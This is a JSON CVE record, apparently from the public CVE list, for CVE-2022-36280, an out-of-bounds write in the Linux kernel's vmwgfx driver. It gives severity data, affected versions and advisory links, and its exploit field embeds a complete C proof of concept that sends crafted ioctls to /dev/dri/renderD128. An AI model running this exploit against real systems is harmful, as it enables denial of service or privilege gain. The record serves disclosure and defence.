{"id":"CVE-2022-36280","state":"PUBLISHED","title":"There is an out-of-bounds write vulnerability in vmwgfx driver","description":"An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).","publishedAt":"2022-09-09T14:39:50.986Z","updatedAt":"2026-10-14T17:07:51.803Z","severity":{"score":6.3,"label":"Medium","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H","source":"Anolis"},"assigner":"Anolis","products":["Linux kernel"],"affected":[{"vendor":"Linux","product":"kernel","versions":[{"version":"v3.2-rc1","status":"affected","lessThan":"5.13.0-52*","versionType":"custom"}]}],"references":["https://bugzilla.openanolis.cn/show_bug.cgi?id=2071","https://www.debian.org/security/2023/dsa-5324","https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html","https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html","https://cert-portal.siemens.com/productcert/html/ssa-794697.html"],"weaknesses":["CWE-120"],"ingestedAt":"2026-10-29T19:50:21.136Z","source":{"repository":"CVEProject/cvelistV5","path":"cves/2022/36xxx/CVE-2022-36280.json","commit":"556c9d3a8cd17e218bb8e452ba7cd619a384ff47"},"raw":{"dataType":"CVE_RECORD","dataVersion":"5.2","cveMetadata":{"cveId":"CVE-2022-36280","state":"PUBLISHED","datePublished":"2022-09-09T14:39:50.986Z","dateUpdated":"2026-10-14T17:07:51.803Z","assignerShortName":"Anolis","assignerOrgId":"cb8f1db9-b4b1-487b-a760-f65c4f368d8e","dateReserved":"2022-09-07T00:00:00.000Z"},"containers":{"cna":{"title":"There is an out-of-bounds write vulnerability in vmwgfx driver","descriptions":[{"lang":"en","value":"An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."}],"affected":[{"vendor":"Linux","product":"kernel","versions":[{"version":"v3.2-rc1","status":"affected","lessThan":"5.13.0-52*","versionType":"custom"}]}],"references":[{"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"},{"url":"https://www.debian.org/security/2023/dsa-5324","name":"DSA-5324","tags":["vendor-advisory"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html","name":"[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update","tags":["mailing-list"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html","name":"[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update","tags":["mailing-list"]}],"metrics":[{"cvssV3_1":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"LOW","userInteraction":"REQUIRED","scope":"UNCHANGED","confidentialityImpact":"NONE","integrityImpact":"LOW","availabilityImpact":"HIGH","baseScore":6.3,"baseSeverity":"MEDIUM"}}],"problemTypes":[{"descriptions":[{"cweId":"CWE-120","type":"CWE","lang":"en","description":"CWE-120 Buffer Overflow"}]}],"providerMetadata":{"shortName":"Anolis","orgId":"cb8f1db9-b4b1-487b-a760-f65c4f368d8e","dateUpdated":"2023-05-03T00:00:00.000Z"},"datePublic":"2022-09-06T00:00:00.000Z","credits":[{"lang":"en","value":"Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"}],"x_generator":{"engine":"Vulnogram 0.0.9"},"source":{"defect":["https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"],"discovery":"INTERNAL"},"exploits":[{"lang":"en","value":"#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n  int sid =    create_surface();     \n  printf(\"%d\",sid);     \n    poc(handle,sid);            \n  \n}"}]},"adp":[{"title":"CVE Program Container","references":[{"url":"https://bugzilla.openanolis.cn/show_bug.cgi?id=2071","tags":["x_transferred"]},{"url":"https://www.debian.org/security/2023/dsa-5324","name":"DSA-5324","tags":["vendor-advisory","x_transferred"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html","name":"[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update","tags":["mailing-list","x_transferred"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html","name":"[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update","tags":["mailing-list","x_transferred"]}],"providerMetadata":{"shortName":"CVE","orgId":"af854a3a-2127-422b-91ae-364da2661108","dateUpdated":"2024-08-03T10:00:04.335Z"}},{"affected":[{"vendor":"Siemens","product":"SIMATIC S7-1500 TM MFP - GNU/Linux subsystem","defaultStatus":"unknown","versions":[{"version":"0","status":"affected","lessThan":"V1.1","versionType":"custom"}]}],"references":[{"url":"https://cert-portal.siemens.com/productcert/html/ssa-794697.html"}],"providerMetadata":{"shortName":"siemens-SADP","orgId":"0b142b55-0307-4c5a-b3c9-f314f3fb7c5e","dateUpdated":"2026-10-14T17:07:51.803Z"},"x_adpType":"supplier"}]}}}